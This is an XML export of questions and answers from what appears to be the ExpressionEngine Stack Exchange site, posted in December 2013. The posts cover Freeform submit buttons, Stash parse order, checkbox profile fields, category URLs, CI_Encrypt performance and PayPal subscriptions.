  <row Id="17887" PostTypeId="1" AcceptedAnswerId="17888" CreationDate="2013-12-20T19:33:34.770" Score="1" ViewCount="195" Body="&lt;p&gt;Freform PRO - 4.1.3&#xA;I'm using the tag {exp:freeform:form} &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do i reference my custom image instead of the generated button?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2524" LastActivityDate="2013-12-20T19:47:35.847" Title="how to use a custom image instead of generated submit button" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17888" PostTypeId="2" ParentId="17887" CreationDate="2013-12-20T19:47:35.847" Score="6" Body="&lt;p&gt;You don't have to use the &lt;code&gt;{freeform:submit}&lt;/code&gt; variable.  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You could use &lt;code&gt;&amp;lt;input type=&quot;submit&quot; /&amp;gt;&lt;/code&gt; and style it with CSS to use a background image.&lt;/li&gt;&#xA;&lt;li&gt;Or use &lt;code&gt;&amp;lt;button type=&quot;submit&quot;&amp;gt;&amp;lt;img src=&quot;mybutton.png&quot; /&amp;gt;&amp;lt;/button&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Or &lt;code&gt;&amp;lt;input type=&quot;image&quot; src=&quot;mybutton.png&quot; /&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-12-20T19:47:35.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17890" PostTypeId="1" AcceptedAnswerId="17892" CreationDate="2013-12-20T20:58:19.163" Score="0" ViewCount="243" Body="&lt;p&gt;I am using the Brilliant Retail e-commerce plugin and currently I have a Channel Group, &quot;Bikes,&quot; with 8 channel fields associated with it. I would like to move all those channel fields to a different group, &quot;[BrilliantRetail],&quot; is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can edit Channel Group assignments and tell the BrilliantRetail group to use the Bikes channel fields, but I already have some custom channel fields in the BrilliantRetail group as well so I would like to just merge the Bikes channel fields with the BrilliantRetail group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt; I edited the database and changed the channel fields group_id to the one corresponding to BrilliantRetail group and that worked. However, the channel field data did not transfer with it. Is there a way for me to re-associate the channel field data as well?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="2257" LastEditorUserId="2257" LastEditDate="2013-12-20T21:17:22.720" LastActivityDate="2013-12-20T23:40:22.323" Title="Moving channel fields to different group?" Tags="|channel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17891" PostTypeId="1" AcceptedAnswerId="17903" CreationDate="2013-12-20T22:35:46.327" Score="1" ViewCount="273" Body="&lt;p&gt;Maybe this is a &quot;duh&quot; moment for me and I'm missing the obvious but I have an exp:user:edit form setup where none of the checkbox fields get updated when posting the form. Here is an example line of code...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;notify_how_email&quot; class=&quot;no_float&quot; value=&quot;n&quot; {if notify_how_email == 'y'}checked=&quot;checked&quot;{/if} /&amp;gt; &amp;lt;label for=&quot;notify_how_email&quot;&amp;gt;Notify via Email&amp;lt;/label&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've also added the following on the recommendation from another solution but fields are still not updated...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;{XID_HASH}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We are using Exp Eng 2.7.2 and User module 3.4.4 and Friends 1.6.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any special coding I need to do to set the custom fields to 'y' or 'n'? This is also happening with radio fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I use the control panel to edit the profile the field content shows up on the form but with a checkbox I can't change it from checked to unchecked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Bob&lt;/p&gt;&#xA;" OwnerUserId="505" LastActivityDate="2013-12-21T20:11:08.897" Title="User Module: Custom member profile fields don't get updated when posting a form" Tags="|solspace|solspace-user|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17892" PostTypeId="2" ParentId="17890" CreationDate="2013-12-20T23:40:22.323" Score="1" Body="&lt;p&gt;Can't hep you with the question in your update, but regarding your original question, I use MX Tool Box by Max Lazar when I need to move or duplicate fields. It allows you to clone fields and export/import fields from group to group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can work on just a single field, or a batch/group of fields at once, and it  detects and allows you to solve conflics during import.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.eec.ms/forums/viewthread/22/&quot; rel=&quot;nofollow&quot;&gt;http://www.eec.ms/forums/viewthread/22/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Huge time saver for these situations.&lt;/p&gt;&#xA;" OwnerUserId="202" LastActivityDate="2013-12-20T23:40:22.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17893" PostTypeId="1" AcceptedAnswerId="17895" CreationDate="2013-12-21T02:14:32.323" Score="1" ViewCount="953" Body="&lt;p&gt;&lt;em&gt;I found similar questions, but the “answers” were alternatives that won’t work here. If I missed an answer, please let me know! Thanks!&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been having trouble wrapping my head around how parse order might be interacting with the tags here. Hopefully someone can help. The template is actually much more complicated and uses many more custom fields, but this is a basic example I still cannot get to work properly without resorting to a bunch of embeds duplicating code. I want to keep these bits contained in one template if at all possible. Note I am using Dynamo, but also tried with regular &lt;code&gt;exp:channel:entries&lt;/code&gt; tags to rule out Dynamo as the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The expectation is all entries in the channel are returned for managers, and other users only see a subset depending on a custom field specifying member groups to allow access to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For users from managers user groups included in &lt;code&gt;{manager_groups}&lt;/code&gt;, this yields “No results ()”, and for other users, this yields something like “No results (IS_EMPTY|24)”.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{logged_in_group_id}&quot; parse=&quot;inward&quot;}&#xA;  {case value=&quot;{lv_manager_groups}&quot; trim=&quot;1&quot;}&#xA;    {!-- don’t add any permission filtering for managers --}&#xA;    {exp:stash:groups}{/exp:stash:groups}&#xA;  {/case}&#xA;  {case default=&quot;Yes&quot;}&#xA;    {exp:stash:groups}IS_EMPTY|{logged_in_group_id}{/exp:stash:groups}&#xA;  {/case}&#xA;{/exp:switchee}&#xA;&#xA;{exp:dynamo:entries&#xA;  channel=&quot;resources&quot;&#xA;  show_pages=&quot;no&quot;&#xA;  dynamic_parameters=&quot;search:allowed_groups&quot;&#xA;  paginate=&quot;custom&quot;&#xA;  limit=&quot;5&quot;&#xA;  search_id=&quot;{segment_4}&quot;&#xA;  search:allowed_groups=&quot;{exp:stash:get name='groups'}&quot;&#xA;  parse=&quot;inward&quot;&#xA;}&#xA;  {if no_results}&#xA;    &amp;lt;p&amp;gt;No results ({exp:stash:get name='groups'})&amp;lt;/p&amp;gt;&#xA;  {/if}&#xA;  {exp:stash:set name=&quot;no_pagination_html&quot; trim=&quot;yes&quot;}&#xA;    {if absolute_results &amp;lt;= 5}&#xA;      &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;({exp:stash:get name='groups'}) Viewing:&amp;lt;/strong&amp;gt; {exp:stash:filter_name} (1-{total_results})&amp;lt;/p&amp;gt;&#xA;    {/if}&#xA;  {/exp:stash:set}&#xA;  {paginate}&#xA;    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Viewing:&amp;lt;/strong&amp;gt; {exp:stash:filter_name} ({abp_entry_from}-{abp_entry_to} of {abp_total_entries})&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;      {if abp_has_previous}&amp;lt;a href=&quot;{abp_previous_link}&quot;&amp;gt;{/if}&amp;amp;laquo; Prev{if abp_has_previous}&amp;lt;/a&amp;gt;{/if} &amp;amp;nbsp;&#xA;      {abp_pages}{if abp_is_current}{abp_num}{if:else}&amp;lt;a href=&quot;{abp_link}&quot;&amp;gt;{abp_num}&amp;lt;/a&amp;gt;{/if} {/abp_pages}&#xA;      &amp;amp;nbsp; {if abp_has_next}&amp;lt;a href=&quot;{abp_next_link}&quot;&amp;gt;{/if}Next &amp;amp;raquo;{if abp_has_next}&amp;lt;/a&amp;gt;{/if}&#xA;    &amp;lt;/p&amp;gt;&#xA;  {/paginate}&#xA;  {if count == &quot;1&quot;}&#xA;    {abp_pagination_html}&#xA;    {exp:stash:no_pagination_html}&#xA;  {/if}&#xA;  &amp;lt;p&amp;gt;{title}&amp;lt;/p&amp;gt;&#xA;  {if count == total_results}&#xA;    {abp_pagination_html}&#xA;    {exp:stash:no_pagination_html}&#xA;  {/if}&#xA;{/exp:dynamo:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried wrapping the entire &lt;code&gt;dynamo:entries&lt;/code&gt; tag pair in&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:parse process=&quot;end&quot; parse_depth=&quot;20&quot;}&#xA;  {exp:dynamo:entries …}…{/exp:dynamo:entries}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but this results in nothing being output at all. Also tried removing or changing value of &lt;code&gt;parse_depth&lt;/code&gt; parameter, but same result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried a slightly different structure, which is the way I would do it ideally, since I will have more parameters than just group ID. This method yields all results regardless of user type.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:perms}&#xA;  {exp:switchee variable=&quot;{logged_in_group_id}&quot; parse=&quot;inward&quot;}&#xA;    {case value=&quot;{lv_manager_groups}&quot; trim=&quot;1&quot;}&#xA;      {!-- don’t add any permission filtering for managers --}&#xA;    {/case}&#xA;    {case default=&quot;Yes&quot;}&#xA;      search:allowed_groups=&quot;IS_EMPTY|{logged_in_group_id}&quot;&#xA;    {/case}&#xA;  {/exp:switchee}&#xA;{/exp:stash:perms}&#xA;&#xA;{exp:dynamo:entries&#xA;  channel=&quot;resources&quot;&#xA;  show_pages=&quot;no&quot;&#xA;  dynamic_parameters=&quot;search:allowed_groups&quot;&#xA;  paginate=&quot;custom&quot;&#xA;  limit=&quot;5&quot;&#xA;  search_id=&quot;{segment_4}&quot;&#xA;  {exp:stash:get name='perms'}&#xA;  parse=&quot;inward&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What seems to be going on here is in both cases the Stash variable is not being parsed before the entries are pulled. In the first case, the filter is trying to matching something that doesn’t exist, resulting in no entries. And in the second case, the entire filter name is in a variable that doesn’t get parsed, so the entries are pulled with the filter entirely ignored, resulting in all entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way I can use a Stash variable as a parameter for an entries loop?&lt;/p&gt;&#xA;" OwnerUserId="1335" LastActivityDate="2013-12-21T12:24:36.027" Title="Possible to use Stash variable as entries parameter?" Tags="|stash|parse-order|entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17894" PostTypeId="2" ParentId="17859" CreationDate="2013-12-21T03:15:05.917" Score="2" Body="&lt;p&gt;Assuming you have already set up some shipping rules, and marked digital products as &quot;free shipping&quot;, then Store will automatically calculate the shipping cost at $0 for orders which contain only items with free shipping enabled. If you have set up a &quot;default shipping method&quot;, then all other orders will already have an estimated shipping cost using the default method when customers land on the shipping page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use this fact to redirect customers past the shipping page when shipping has been calculated at $0. For example, in your shipping page template, use the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if order_shipping_val == 0}&#xA;    {redirect=&quot;checkout/continue&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-12-21T03:15:05.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17895" PostTypeId="2" ParentId="17893" CreationDate="2013-12-21T03:40:17.350" Score="2" Body="&lt;p&gt;I haven't tested this (it's a bit tricky to setup!) but try promoting your Stash tags to the top level of the nesting hierarchy like this... Also with &lt;code&gt;exp:stash:parse&lt;/code&gt; you should omit the &lt;code&gt;exp&lt;/code&gt; part when you get variables (I think you can get away without parse=&quot;inward&quot; with this method too).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;groups&quot; trim=&quot;yes&quot; parse_tags=&quot;yes&quot;}&#xA;    {exp:switchee variable=&quot;{logged_in_group_id}&quot; parse=&quot;inward&quot;}&#xA;      {case value=&quot;{lv_manager_groups}&quot; trim=&quot;1&quot;}&#xA;        {!-- don’t add any permission filtering for managers --}&#xA;      {/case}&#xA;      {case default=&quot;Yes&quot;}&#xA;        IS_EMPTY|{logged_in_group_id}&#xA;      {/case}&#xA;    {/exp:switchee}&#xA;{/exp:stash:set}&#xA;&#xA;{exp:stash:parse process=&quot;end&quot;}&#xA;  {exp:dynamo:entries&#xA;    channel=&quot;resources&quot;&#xA;    show_pages=&quot;no&quot;&#xA;    dynamic_parameters=&quot;search:allowed_groups&quot;&#xA;    paginate=&quot;custom&quot;&#xA;    limit=&quot;5&quot;&#xA;    search_id=&quot;{segment_4}&quot;&#xA;    search:allowed_groups=&quot;{stash:groups}&quot;&#xA;  }&#xA;    ...&#xA;  {/exp:dynamo:entries}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;An alternative would be to move the setting block into a Stash embed with &lt;code&gt;process=&quot;start&quot;&lt;/code&gt; to make absolutely sure it gets parsed before you call it.&lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="182" LastEditDate="2013-12-21T12:24:36.027" LastActivityDate="2013-12-21T12:24:36.027" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17896" PostTypeId="1" CreationDate="2013-12-21T05:58:18.183" Score="1" ViewCount="80" Body="&lt;p&gt;We have a Low Variable using Matrix with 3 columns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two columns are raw text and one is a playa list of channel entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All has been working fine, there were about 60 rows so far - all of a sudden when we go to manage the low variable to add more content we see a blank screen (attached)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data that has been input is still there (can see it on the front end)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure how to fix or trouble shoot this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ee2.6.1 / lv 2.3.5 / Matrix 2.5.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VdqO1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="165" LastActivityDate="2013-12-22T19:39:29.520" Title="Low Variable / Matrix Blank Screen" Tags="|matrix|playa|low-variables|low|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17897" PostTypeId="2" ParentId="17658" CreationDate="2013-12-21T15:48:35.677" Score="2" Body="&lt;p&gt;One option would be to use &lt;a href=&quot;http://devot-ee.com/add-ons/zoo-visitor&quot; rel=&quot;nofollow&quot;&gt;Zoo Visitor&lt;/a&gt; to be able to work with the members as channel entries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you could add the list of services to the zoo visitor channel as individual select fields. So for example you would have a zoo visitor channel that contains all the members as entries, and on each entry you would have the contact info as well as the individual fields that make up your list of services. Going this route should also make editing through the front end channel:form easy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you could also go a similar route just using custom member fields, but in your case you might really appreciate the flexibility with having the members in channel entries. &lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-12-21T15:48:35.677" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17898" PostTypeId="1" AcceptedAnswerId="17904" CreationDate="2013-12-21T16:46:56.487" Score="2" ViewCount="179" Body="&lt;p&gt;I've been having some significant server-side performance issues with an ExpressionEngine / CartThrob site (pages taking 5 seconds or more to generate under no load). Today I installed XDebug and WebGrind to take a look at what was causing the performance hit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To my surprise, the biggest offender by far (taking over 3 seconds to run only 40 times), was the function CI_Encrypt-&gt;encode, and specifically CI_Encrypt-&gt;_xor_encode (taking about 97% of that time).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nothing else in the profiler even comes close to taking this much time, so it looks like this function is basically the sole cause of my woes. Is there any way to speed it up?&lt;/p&gt;&#xA;" OwnerUserId="2480" LastEditorUserId="2480" LastEditDate="2013-12-21T20:37:44.367" LastActivityDate="2013-12-22T23:06:24.347" Title="How to improve performance of CI_Encrypt-&gt;encode?" Tags="|cartthrob|performance|codeigniter|encryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17899" PostTypeId="1" AcceptedAnswerId="17918" CreationDate="2013-12-21T17:18:19.097" Score="1" ViewCount="98" Body="&lt;p&gt;I am trying to make edit entry link using this idea in user guide bellow&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/single_variables.html#cp-session-id&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/templates/globals/single_variables.html#cp-session-id&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but {cp_session_id} variable is not rendering in the page, any ideas ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if logged_in_group_id == &quot;1&quot; OR logged_in_group_id == &quot;2&quot; }&amp;bull; Edit This{/if}&lt;/p&gt;&#xA;" OwnerUserId="2470" LastEditorUserId="28" LastEditDate="2013-12-22T19:17:19.213" LastActivityDate="2013-12-23T11:07:44.393" Title="I cannot render {cp_session_id} in edit this like" Tags="|ee2|control-panel|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17900" PostTypeId="2" ParentId="17891" CreationDate="2013-12-21T18:03:03.750" Score="3" Body="&lt;p&gt;The User:Edit tag only allows updating of the fields mentioned in the documentation:&#xA;&lt;a href=&quot;http://www.solspace.com/docs/user/edit/#form_fields&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/user/edit/#form_fields&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;notify_how_email&lt;/strong&gt; is not a valid option. Are you sure this is even a valid EE option (natively)? If so, what is it supposed to do?&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-12-21T18:03:03.750" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17901" PostTypeId="1" AcceptedAnswerId="17907" CreationDate="2013-12-21T18:58:11.387" Score="2" ViewCount="78" Body="&lt;p&gt;In my url the entry have a category and a sub-category.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Category = meat&lt;/li&gt;&#xA;&lt;li&gt;sub category = beef&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;href=&quot;{url}/{channel_short_name}/{categories}{category_url_title}{/categories}/{url_title}&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm using {category_url_title}, but the result URL is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mysite/recipes/meatbeef/hamburger&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The category and the sub category are together: &lt;strong&gt;meatbeef&lt;/strong&gt; with no /. It should be &lt;strong&gt;meat/beef&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to have a category and subcategories working fine, like : cat/subcat/subsubcat..??&#xA;It give me headaches :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Happy XMas&#xA;Stéphane&lt;/p&gt;&#xA;" OwnerUserId="1918" LastEditorUserId="1918" LastEditDate="2013-12-21T19:04:28.420" LastActivityDate="2013-12-22T02:50:45.337" Title="Category and URL problem" Tags="|url|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17902" PostTypeId="1" CreationDate="2013-12-21T19:18:39.977" Score="0" ViewCount="196" Body="&lt;p&gt;I have EE 2.7.3 with a grid-field.&#xA;In this grid I have 3 fields. Two of them are date-fields, one is a text-field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the import i can only see the main customfield for this grid. I take this field for all the options i can fill in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I run the import it will not import the dates from the two date-fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2526" LastActivityDate="2013-12-21T19:18:39.977" Title="Importing Data with DataGrab from Grid" Tags="|import|datagrab|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17903" PostTypeId="2" ParentId="17891" CreationDate="2013-12-21T20:11:08.897" Score="4" Body="&lt;p&gt;This has been a common gripe with ExpressionEngine for years. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a hack that I find works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;custom_fieldname&quot; value=&quot;n&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;checkbox&quot; name=&quot;custom_fieldname&quot; value=&quot;y&quot; {if custom_fieldname == &quot;y&quot;}checked=&quot;checked&quot;{/if}&amp;gt;Bla bla&amp;lt;/input&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first value sets the field to &quot;n&quot;.  If the user checks the box, then the value will be overwritten with &quot;y&quot;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This hack is also referenced at the end of &lt;a href=&quot;http://ellislab.com/forums/viewthread/60304/&quot; rel=&quot;nofollow&quot;&gt;this post&lt;/a&gt; from the ExpEng forums from way back in 2007. If you're brave, the post documents how to hack the Member Template to allow checkboxes.  Personally, event though it's a bit verbose, I'd prefer simply adding the extra hidden field.&lt;/p&gt;&#xA;" OwnerUserId="1666" LastActivityDate="2013-12-21T20:11:08.897" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17904" PostTypeId="2" ParentId="17898" CreationDate="2013-12-21T21:42:53.333" Score="3" Body="&lt;p&gt;From looking at the CI_Encrypt source code, I noticed that _xor_encrypt is only used when the PHP mcrypt module is not installed. I installed the PHP mcrypt module and added it to php.ini, which seems to have substantially reduced the time required to run this function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I'm still having some slowness due to this module (much less than before), particularly with CI_Encrypt-&gt;_add_cipher_noise, which I have posted about as a separate question here: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/17913/how-to-improve-performance-of-ci-encrypt-add-cipher-noise&quot;&gt;How to improve performance of CI_Encrypt-&amp;gt;_add_cipher_noise?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2480" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-12-22T23:06:24.347" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17905" PostTypeId="2" ParentId="17841" CreationDate="2013-12-21T22:09:14.463" Score="1" Body="&lt;p&gt;Is there a chance you have a different/old copy of Store sitting in a different folder under third_party/? It looks like for some reason EE is trying to load Store twice, which is triggering that error. Normally EE keeps track of which libraries have already been loaded so they don't get loaded twice.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-12-21T22:09:14.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17906" PostTypeId="2" ParentId="17886" CreationDate="2013-12-21T23:43:13.970" Score="1" Body="&lt;p&gt;Sounds like your actual upload directory isn't writable. You can check where this is located in the file structure on the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/content/files/file_upload_preferences.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;File Upload Preferences page of the CP&lt;/strong&gt;&lt;/a&gt;. Permissions should be set to 777. &quot;_assets&quot; probably isn't the actual upload directory but is inside it.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-12-21T23:43:13.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17907" PostTypeId="2" ParentId="17901" CreationDate="2013-12-22T02:50:45.337" Score="3" Body="&lt;p&gt;Use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/categories.html#backspace&quot; rel=&quot;nofollow&quot;&gt;backspace&lt;/a&gt; parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;href=&quot;{url}/{channel_short_name}/{categories backspace='1'}{category_url_title}/{/categories}/{url_title}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Backspace removes x characters from the final output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Watch out if your entry belongs to 1 or more sub categories as your category URLs will grow uncontrollably.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-12-22T02:50:45.337" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17908" PostTypeId="1" CreationDate="2013-12-22T06:05:47.137" Score="2" ViewCount="342" Body="&lt;p&gt;Sorry if this is longwinded but I'm trying to add a recurring subscription option to site but want to prepare for future headaches. We have a good core following on a statewide news magazine site.  For now I want to implement PayPal's Enhanced Recurring Payments option for subscriptions as I just found out users won't need a PayPal account.  This will allow for monetary support and for the moment people won't have to hastle with signing up.  But in the future I'd like to wall off some content and make membership mandatory for those areas.  What would be the foreseeable problems at a later date if I implemented Solspace's User with PayPal recurring payments and using if statements to wall off content?  Would I be able to transfer those people that initially sign up for a recurring subscription to the later setup, which would require membership?  Or would I just have to tell people to cancel membership and re-sign up at that time? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, I've researched Membrr, CartThrob, and Charge... and right now, the paypal option for the additional $20/month seems well worth it in light of some of the things i've heard about the other options.  Nothing negative on Charge, but more trouble than I want to invest in right now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you. &lt;/p&gt;&#xA;" OwnerUserId="2527" LastActivityDate="2014-04-12T22:10:29.050" Title="Recurring subscription payments PayPal" Tags="|paypal|subscriptions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17909" PostTypeId="1" CreationDate="2013-12-22T13:15:38.013" Score="2" ViewCount="610" Body="&lt;p&gt;I have (had) a custom payment gateway running in Expresso Store 2.0.6. Since i updated to 2.1 the gateway is not working anymore. I am aware of the new folder structure inside the vendor/omnipay folder and tried to adapt my own gateway folder without success. The gateway is not listed in stores payment gateway settings. I also changed the store_unofficial_payment_gateways value in the db from 0 to 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So,&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Are there some special installation instructions for custom payment gateways in EE Store 2.1? Or is it like in previous versions that i only have to move my custom gateway folder into the vendor folder and if everything is fine in my folder the gateway shows up?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Are there other files i have to adapt outside my custom gateway folder? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What's about that new composer.json file? I'm not sure how that should look like …&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also worth to note: The button &quot;Add Payment Method&quot; in the upper right corner doesn't exists in my installation as seen in the store docs: &lt;a href=&quot;https://exp-resso.com/docs/settings_payment_methods.html&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/docs/settings_payment_methods.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running the latest versions from both EE and Expresso Store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="2528" LastActivityDate="2013-12-23T19:21:02.620" Title="How can I install a custom payment gateway in Expresso Store 2.1" Tags="|expresso-store|payment-gateway|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
